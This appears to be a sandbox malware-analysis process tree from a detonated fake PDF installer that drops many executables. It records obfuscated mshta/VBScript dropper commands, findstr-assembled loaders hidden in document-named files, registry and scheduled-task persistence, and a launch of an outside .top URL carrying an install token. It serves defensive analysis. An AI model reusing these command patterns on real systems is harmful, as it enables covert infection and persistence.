        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,13403126522167248681,16136271736284550959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6084 /prefetch:1
        9⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        
        PID:5268
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,13403126522167248681,16136271736284550959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1588 /prefetch:1
        9⤵
        
        PID:6012
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,13403126522167248681,16136271736284550959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4548 /prefetch:1
        9⤵
        
        PID:2184
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,13403126522167248681,16136271736284550959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1780 /prefetch:1
        9⤵
        
        PID:6084
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,13403126522167248681,16136271736284550959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6236 /prefetch:1
        9⤵
        
        PID:5072
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,13403126522167248681,16136271736284550959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4344 /prefetch:1
        9⤵
        
        PID:1952
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,13403126522167248681,16136271736284550959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3588 /prefetch:1
        9⤵
        
        PID:4780
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,13403126522167248681,16136271736284550959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5580 /prefetch:1
        9⤵
        
        PID:1300
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,13403126522167248681,16136271736284550959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6148 /prefetch:1
        9⤵
        
        PID:3232
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2088,13403126522167248681,16136271736284550959,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5816 /prefetch:8
        9⤵
        
        PID:6692
        
        C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe"
        8⤵
        Executes dropped EXE
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2388
        
        C:\Users\Admin\AppData\Local\Temp\BSKR.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BSKR.exe"
        9⤵
        Executes dropped EXE
        
        PID:3600
        
        C:\Users\Admin\AppData\Local\Temp\BSKR.exe
        
        C:\Users\Admin\AppData\Local\Temp\BSKR.exe
        10⤵
        
        PID:5044
        
        C:\Users\Admin\AppData\Local\Temp\BSKR.exe
        
        C:\Users\Admin\AppData\Local\Temp\BSKR.exe
        10⤵
        
        PID:340
        
        C:\Users\Admin\AppData\Local\Temp\BSKR.exe
        
        C:\Users\Admin\AppData\Local\Temp\BSKR.exe
        10⤵
        
        PID:6084
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6084 -s 28
        11⤵
        Program crash
        
        PID:1320
        
        C:\Users\Admin\AppData\Local\Temp\Mortician.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Mortician.exe"
        9⤵
        
        PID:420
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c cmd < Cerchia.vsdx
        10⤵
        
        PID:5176
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd
        11⤵
        
        PID:5240
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /R "^JdxmflaMoKJKGKEonRKIDlCuNBztuuxobvTVXbusdtKZTUcnQFZrvdHmOhLNQgGwfAjlQJkqLaammCjTuVhBisMuOxuJLaA$" Attesa.vsdx
        12⤵
        
        PID:244
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        Impedire.exe.com I
        12⤵
        
        PID:4656
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        13⤵
        
        PID:5472
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        14⤵
        
        PID:3968
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        15⤵
        
        PID:3924
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        16⤵
        
        PID:3404
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        17⤵
        
        PID:1404
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        18⤵
        
        PID:456
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        19⤵
        
        PID:5960
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        20⤵
        
        PID:1496
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        21⤵
        
        PID:2768
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        22⤵
        
        PID:2576
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        23⤵
        
        PID:2612
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        24⤵
        
        PID:3184
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        25⤵
        
        PID:1952
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        26⤵
        
        PID:5400
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        27⤵
        
        PID:5688
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        28⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4188
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        29⤵
        
        PID:5140
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        30⤵
        
        PID:5660
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        31⤵
        
        PID:4692
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        32⤵
        
        PID:4380
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        33⤵
        
        PID:5724
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        34⤵
        
        PID:2240
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        35⤵
        
        PID:1096
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        36⤵
        
        PID:2472
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        37⤵
        
        PID:5488
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping localhost
        12⤵
        Runs ping.exe
        
        PID:2948
        
        C:\Users\Admin\AppData\Local\Temp\foradvertising.exe
        
        "C:\Users\Admin\AppData\Local\Temp\foradvertising.exe" /wws1
        9⤵
        
        PID:1072
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1072 -s 236
        10⤵
        Program crash
        
        PID:1372
        
        C:\Users\Admin\AppData\Local\Temp\gdgame.exe
        
        "C:\Users\Admin\AppData\Local\Temp\gdgame.exe"
        9⤵
        
        PID:1952
        
        C:\Users\Admin\AppData\Local\Temp\gdgame.exe
        
        "C:\Users\Admin\AppData\Local\Temp\gdgame.exe" -a
        10⤵
        
        PID:5404
        
        C:\Users\Admin\AppData\Local\Temp\installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\installer.exe" /qn CAMPAIGN="710"
        9⤵
        
        PID:2256
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=710 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630966319 /qn CAMPAIGN=""710"" " CAMPAIGN="710"
        10⤵
        
        PID:2224
        
        C:\Users\Admin\AppData\Local\Temp\IBInstaller_74449.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IBInstaller_74449.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
        9⤵
        
        PID:2760
        
        C:\Users\Admin\AppData\Local\Temp\is-QC3Q9.tmp\IBInstaller_74449.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-QC3Q9.tmp\IBInstaller_74449.tmp" /SL5="$60344,14713126,721408,C:\Users\Admin\AppData\Local\Temp\IBInstaller_74449.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
        10⤵
        
        PID:5108
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-QCUB6.tmp\{app}\microsoft.cab -F:* %ProgramData%
        11⤵
        
        PID:1256
        
        C:\Windows\SysWOW64\expand.exe
        
        expand C:\Users\Admin\AppData\Local\Temp\is-QCUB6.tmp\{app}\microsoft.cab -F:* C:\ProgramData
        12⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        
        PID:4196
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\svrwebui.exe" /f
        11⤵
        
        PID:3240
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe" /f
        12⤵
        
        PID:1956
        
        C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe
        
        "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"
        11⤵
        
        PID:1880
        
        C:\Users\Admin\AppData\Local\Temp\is-QCUB6.tmp\{app}\vdi_compiler.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-QCUB6.tmp\{app}\vdi_compiler"
        11⤵
        
        PID:2748
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2748 -s 240
        12⤵
        Program crash
        
        PID:1492
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c start http://lereknoj24.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=74449^&param=721
        11⤵
        
        PID:5220
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://lereknoj24.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq&cid=74449&param=721
        12⤵
        
        PID:3660
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffcad4c46f8,0x7ffcad4c4708,0x7ffcad4c4718
        13⤵
        
        PID:2600
        
        C:\Users\Admin\AppData\Local\Temp\vpn.exe
        
        "C:\Users\Admin\AppData\Local\Temp\vpn.exe" /silent /subid=720
        9⤵
        
        PID:5144
        
        C:\Users\Admin\AppData\Local\Temp\is-40NM0.tmp\vpn.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-40NM0.tmp\vpn.tmp" /SL5="$90344,15170975,270336,C:\Users\Admin\AppData\Local\Temp\vpn.exe" /silent /subid=720
        10⤵
        
        PID:6032
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
        11⤵
        
        PID:5932
        
        C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
        
        tapinstall.exe remove tap0901
        12⤵
        
        PID:968
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
        11⤵
        
        PID:3108
        
        C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
        
        tapinstall.exe install OemVista.inf tap0901
        12⤵
        
        PID:1760
        
        C:\Program Files (x86)\MaskVPN\mask_svc.exe
        
        "C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall
        11⤵
        
        PID:4496
        
        C:\Program Files (x86)\MaskVPN\mask_svc.exe
        
        "C:\Program Files (x86)\MaskVPN\mask_svc.exe" install
        11⤵
        
        PID:5820
        
        C:\Users\Admin\AppData\Local\Temp\Cleaner_Installation.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Cleaner_Installation.exe" SID=717 CID=717 SILENT=1 /quiet
        9⤵
        
        PID:1256
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\Cleaner_Installation.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630966319 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"
        10⤵
        
        PID:5824
        
        C:\Users\Admin\AppData\Local\Temp\askinstall45.exe
        
        "C:\Users\Admin\AppData\Local\Temp\askinstall45.exe"
        9⤵
        
        PID:4692
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4692 -s 1732
        10⤵
        Program crash
        
        PID:1116
        
        C:\Users\Admin\AppData\Local\Temp\Cube_WW12.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Cube_WW12.exe"
        9⤵
        
        PID:3320
        
        C:\Users\Admin\Documents\xFOnbVk_iJXZDAGm9odxrSkf.exe
        
        "C:\Users\Admin\Documents\xFOnbVk_iJXZDAGm9odxrSkf.exe"
        10⤵
        
        PID:4736
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4736 -s 1536
        11⤵
        Program crash
        
        PID:5524
        
        C:\Users\Admin\Documents\N0sXUWVBjVc54c0BQFgI2xvk.exe
        
        "C:\Users\Admin\Documents\N0sXUWVBjVc54c0BQFgI2xvk.exe"
        10⤵
        
        PID:5076
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbScRIpt: CloSE ( CReATEobJECT ( "WscrIpt.SheLL").Run( "cmD.exe /Q /c TYPE ""C:\Users\Admin\Documents\N0sXUWVBjVc54c0BQFgI2xvk.exe"" > X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV & if """"== """" for %A IN (""C:\Users\Admin\Documents\N0sXUWVBjVc54c0BQFgI2xvk.exe"" ) do taskkill /f -im ""%~nxA"" " , 0, trUE ) )
        11⤵
        
        PID:1548
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /c TYPE "C:\Users\Admin\Documents\N0sXUWVBjVc54c0BQFgI2xvk.exe"> X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV &if ""== "" for %A IN ("C:\Users\Admin\Documents\N0sXUWVBjVc54c0BQFgI2xvk.exe" ) do taskkill /f -im "%~nxA"
        12⤵
        
        PID:2032
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f -im "N0sXUWVBjVc54c0BQFgI2xvk.exe"
        13⤵
        Kills process with taskkill
        
        PID:1516
        
        C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE
        
        X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV
        13⤵
        
        PID:5992
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbScRIpt: CloSE ( CReATEobJECT ( "WscrIpt.SheLL").Run( "cmD.exe /Q /c TYPE ""C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"" > X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV & if ""-PXPoqL0iOUHHP7hXFattB5ZvsV ""== """" for %A IN (""C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"" ) do taskkill /f -im ""%~nxA"" " , 0, trUE ) )
        14⤵
        
        PID:1724
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /c TYPE "C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"> X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV &if "-PXPoqL0iOUHHP7hXFattB5ZvsV "== "" for %A IN ("C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE" ) do taskkill /f -im "%~nxA"
        15⤵
        
        PID:4804
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        "C:\Windows\System32\regsvr32.exe" -S fOUT6o7J.Mj
        14⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1416
        
        C:\Users\Admin\Documents\S1_J52JbrNvQGY6YLjnfjUfq.exe
        
        "C:\Users\Admin\Documents\S1_J52JbrNvQGY6YLjnfjUfq.exe"
        10⤵
        
        PID:2120
        
        C:\Users\Admin\Documents\o4hNcKc9VLf8eiarWe9JfW9D.exe
        
        "C:\Users\Admin\Documents\o4hNcKc9VLf8eiarWe9JfW9D.exe"
        10⤵
        
        PID:1544
        
        C:\Users\Admin\Documents\yF_9k01xRGTG6ePUgQMEITsu.exe
        
        "C:\Users\Admin\Documents\yF_9k01xRGTG6ePUgQMEITsu.exe"
        10⤵
        
        PID:2440
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2440 -s 260
        11⤵
        Program crash
        
        PID:4952
        
        C:\Users\Admin\Documents\G7Lyo5DzFRVmOa5bTDfBS52G.exe
        
        "C:\Users\Admin\Documents\G7Lyo5DzFRVmOa5bTDfBS52G.exe"
        10⤵
        
        PID:5408
        
        C:\Users\Admin\Documents\G7Lyo5DzFRVmOa5bTDfBS52G.exe
        
        "C:\Users\Admin\Documents\G7Lyo5DzFRVmOa5bTDfBS52G.exe"
        11⤵
        
        PID:1236
        
        C:\Users\Admin\Documents\YFrMyjC1fITaHMpyfMVVdiwz.exe
        
        "C:\Users\Admin\Documents\YFrMyjC1fITaHMpyfMVVdiwz.exe"
        10⤵
        
        PID:3944
        
        C:\Users\Admin\Documents\BP4oRsKNJ2D25rcHBJj2GgVO.exe
        
        "C:\Users\Admin\Documents\BP4oRsKNJ2D25rcHBJj2GgVO.exe"
        10⤵
        
        PID:5984
        
        C:\Users\Admin\Documents\BP4oRsKNJ2D25rcHBJj2GgVO.exe
        
        "C:\Users\Admin\Documents\BP4oRsKNJ2D25rcHBJj2GgVO.exe"
        11⤵
        
        PID:5448
        
        C:\Users\Admin\Documents\BP4oRsKNJ2D25rcHBJj2GgVO.exe
        
        "C:\Users\Admin\Documents\BP4oRsKNJ2D25rcHBJj2GgVO.exe"
        11⤵
        
        PID:1676
        
        C:\Users\Admin\Documents\gxtvwnL7Mue_wDPuZLJ54JRT.exe
        
        "C:\Users\Admin\Documents\gxtvwnL7Mue_wDPuZLJ54JRT.exe"
        10⤵
        
        PID:5912
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5912 -s 240
        11⤵
        Program crash
        
        PID:1416
        
        C:\Users\Admin\Documents\KXcLfOkESRjOTQRnOXEtOber.exe
        
        "C:\Users\Admin\Documents\KXcLfOkESRjOTQRnOXEtOber.exe"
        10⤵
        
        PID:1340
        
        C:\Users\Admin\Documents\MmsFxWZrTB8zbdyxniZJluxl.exe
        
        "C:\Users\Admin\Documents\MmsFxWZrTB8zbdyxniZJluxl.exe"
        10⤵
        
        PID:4060
        
        C:\Users\Admin\Documents\MmsFxWZrTB8zbdyxniZJluxl.exe
        
        C:\Users\Admin\Documents\MmsFxWZrTB8zbdyxniZJluxl.exe
        11⤵
        
        PID:1208
        
        C:\Users\Admin\Documents\6KUvS_ytA9M4xGe2ItWiQSq3.exe
        
        "C:\Users\Admin\Documents\6KUvS_ytA9M4xGe2ItWiQSq3.exe"
        10⤵
        
        PID:5700
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5700 -s 292
        11⤵
        Program crash
        
        PID:3008
        
        C:\Users\Admin\Documents\T7sw5ASrQzmQot5CJ5O0HcSb.exe
        
        "C:\Users\Admin\Documents\T7sw5ASrQzmQot5CJ5O0HcSb.exe"
        10⤵
        
        PID:4836
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4836 -s 240
        11⤵
        Program crash
        
        PID:2600
        
        C:\Users\Admin\Documents\zqcc1cKCeg_xIIGGRRoZRoDV.exe
        
        "C:\Users\Admin\Documents\zqcc1cKCeg_xIIGGRRoZRoDV.exe"
        10⤵
        
        PID:1372
        
        C:\Windows\SysWOW64\dllhost.exe
        
        dllhost.exe
        11⤵
        
        PID:2076
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c cmd < Nobile.docm
        11⤵
        
        PID:1516
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd
        12⤵
        
        PID:3696
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /R "^mFzuIhvmvbdHpfegBQvdRBWtkZruqmiMQZvPfzkmbfdsclZwZBnIIvmXJgVJldnWdERlThYiFXSCkFJqZwimwmrxmnuwnBfiQxqRzPi$" Vederlo.docm
        13⤵
        
        PID:6120
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping localhost
        13⤵
        Runs ping.exe
        
        PID:5572
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Rimasta.exe.com
        
        Rimasta.exe.com J
        13⤵
        
        PID:2600
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Rimasta.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Rimasta.exe.com J
        14⤵
        
        PID:5016
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Rimasta.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Rimasta.exe.com J
        15⤵
        
        PID:2992
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Rimasta.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Rimasta.exe.com J
        16⤵
        
        PID:3528
        
        C:\Users\Admin\Documents\Bi1QEFU307a2nBtcrMDBsqkh.exe
        
        "C:\Users\Admin\Documents\Bi1QEFU307a2nBtcrMDBsqkh.exe"
        10⤵
        
        PID:4168
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        11⤵
        Creates scheduled task(s)
        
        PID:5304
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        11⤵
        Creates scheduled task(s)
        
        PID:1556
        
        C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe
        
        "C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"
        11⤵
        
        PID:3660
        
        C:\Users\Admin\Documents\Q96fYlMZ2pl6mvEdlFUmVWPI.exe
        
        "C:\Users\Admin\Documents\Q96fYlMZ2pl6mvEdlFUmVWPI.exe"
        12⤵
        
        PID:5268
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5268 -s 280
        13⤵
        Program crash
        
        PID:6972
        
        C:\Users\Admin\Documents\pr9YEipPfAc2nsUteOvVpcXu.exe
        
        "C:\Users\Admin\Documents\pr9YEipPfAc2nsUteOvVpcXu.exe" /mixtwo
        12⤵
        
        PID:4364
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4364 -s 280
        13⤵
        Program crash
        
        PID:3656
        
        C:\Users\Admin\Documents\rY4qQdF93pbPZaS409ljgJSv.exe
        
        "C:\Users\Admin\Documents\rY4qQdF93pbPZaS409ljgJSv.exe"
        12⤵
        
        PID:5284
        
        C:\ProgramData\151821.exe
        
        "C:\ProgramData\151821.exe"
        13⤵
        
        PID:4708
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 4708 -s 2136
        14⤵
        Program crash
        
        PID:6868
        
        C:\ProgramData\7965384.exe
        
        "C:\ProgramData\7965384.exe"
        13⤵
        
        PID:4964
        
        C:\ProgramData\376060.exe
        
        "C:\ProgramData\376060.exe"
